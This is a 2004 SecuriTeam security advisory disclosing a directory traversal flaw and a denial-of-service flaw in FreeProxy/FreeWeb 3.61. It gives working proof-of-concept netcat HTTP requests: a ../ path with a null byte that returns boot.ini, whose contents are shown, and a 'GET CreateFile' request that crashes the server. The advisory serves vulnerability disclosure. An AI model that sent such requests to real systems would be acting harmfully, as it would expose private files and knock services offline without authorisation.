[NT] FreeProxy/FreeWeb Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 01/11/04

  • Next message: SecuriTeam: "[EXPL] LFTP Remote Stack-Based Overflow" 
    To: list@securiteam.com
Date: 11 Jan 2004 12:24:04 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FreeProxy/FreeWeb Multiple Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.alphalink.com.au/~gregr/freeproxy.htm> FreeProxy is
    "professional Freeware which channels requests for internet pages via a
    single computer and enables many computers to share an internet
    connection. If you have dial-up internet access, you can use the Demand
    Dial or Auto-Dial feature to dial up the internet either when it detects
    you want to access the internet (demand) or maintain a strict schedule of
    connection times (auto). Works fast with Cable/Broadband". Two security
    vulnerabilities in the product exist, one allows accessing of locally
    stored files, and the other allows remote attackers to launch a denial of
    service attack against the product.

    DETAILS

    Vulnerable systems:
     * FreeProxy/FreeWeb version 3.61 (prior to 9/Jan/2004)

    Immune systems:
     * FreeProxy/FreeWeb version 3.61 (after 9/Jan/2004)

    Directory Traversal:
    A directory traversal vulnerability exists within the web server part of
    this product, and not the proxy part of it.

    Example:
    C:>nc 192.168.1.100 80
    GET /../../../../../../../boot.ini%00.html HTTP/1.0

    HTTP/1.0 200 OK
    Server: FreeProxy/3.61
    Date: Fri, 09 Jan 2004 05:09:15 GMT
    Content-Type: application/octet-stream
    Last-Modified: Tue, 04 Nov 2003 16:55:36 GMT
    Content-Length: 194

    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS
    [operating systems] multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft
    Windows XP Professional"
    /fastdetect

    Denial of Service:
    When making an HTTP request for a function called 'CreateFile', causes the
    application to crash.

    Example:
    C:>nc 192.168.1.100 80
    GET CreateFile HTTP/1.0

    **Application Crashes**

    We get the following error message:
    Unhandled exception in FreeProxy.exe: 0xC0000005: Access Violation.

    ADDITIONAL INFORMATION

    The original advisory can be found at:
    <http://www.security-protocols.com/modules.php?name=News&file=article&sid=1691&mode=&order=0&thold=0> http://www.security-protocols.com/modules.php?name=News&file=article&sid=1691&mode=&order=0&thold=0.

    The information has been provided by
    <mailto:badpack3t@security-protocols.com> badpack3t.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] LFTP Remote Stack-Based Overflow"

    Relevant Pages